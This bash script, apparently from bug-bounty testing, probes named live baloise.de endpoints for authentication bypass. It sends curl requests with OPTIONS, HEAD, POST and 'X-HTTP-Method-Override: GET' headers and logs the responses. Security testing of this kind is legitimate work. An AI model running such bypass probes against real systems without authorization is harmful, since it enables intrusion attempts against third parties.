#!/bin/bash
set -u
probe(){ n=$1; method=$2; url=$3; shift 3; h=work/scratch/method-auth-bypass/$n.headers; b=work/scratch/method-auth-bypass/$n.body; e=work/scratch/method-auth-bypass/$n.err; curl -sk --path-as-is -X "$method" -D "$h" -o "$b" -H 'X-Bug-Bounty: dwbzn' "$@" "$url" 2>"$e"; st=$(awk 'toupper($1)~/^HTTP\//{s=$2}END{print s}' "$h"); loc=$(awk 'BEGIN{IGNORECASE=1}/^Location:/{sub(/\r$/,"",$0);print substr($0,11)}' "$h"|tail -1); allow=$(awk 'BEGIN{IGNORECASE=1}/^Allow:/{sub(/\r$/,"",$0);print substr($0,8)}' "$h"|tail -1); ex=$(grep -o 'exchange [^ ]*' "$e"|tail -1|awk '{print $2}'); printf '%s\t%s\t%s\t%s\t%s\t%s\t%s\n' "$n" "$method" "$st" "$(wc -c <"$b")" "$loc" "$allow" "$ex";
}
probe gw-opt OPTIONS https://gwde.baloise.de/pc/service/customauth
probe gw-opt-xget OPTIONS https://gwde.baloise.de/pc/service/customauth -H 'X-HTTP-Method-Override: GET'
probe gw-post-xget POST https://gwde.baloise.de/pc/service/customauth -H 'X-HTTP-Method-Override: GET' -H 'Content-Length: 0'
probe va-opt OPTIONS https://va.baloise.de/SASBIWS/services/Version
probe va-opt-xget OPTIONS https://va.baloise.de/SASBIWS/services/Version -H 'X-HTTP-Method-Override: GET'
probe va-post-xget POST https://va.baloise.de/SASBIWS/services/Version -H 'X-HTTP-Method-Override: GET' -H 'Content-Length: 0'
probe va-head HEAD https://va.baloise.de/SASBIWS/services/Version
probe gw-head HEAD https://gwde.baloise.de/pc/service/customauth
